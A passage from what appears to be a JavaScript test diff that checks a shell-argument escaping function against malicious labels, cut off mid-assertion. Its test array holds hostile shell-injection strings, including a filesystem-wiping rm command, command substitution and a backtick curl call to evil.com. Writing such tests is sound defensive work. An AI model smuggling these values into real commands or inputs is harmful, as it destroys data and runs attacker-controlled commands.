malicious label attempts", () => { + const maliciousLabels = ['"; rm -rf /', "$(whoami)", "`curl evil.com`"]; + const result = escapeArrayForShellArg(maliciousLabels); + + expect(result).not.toMatch(/(?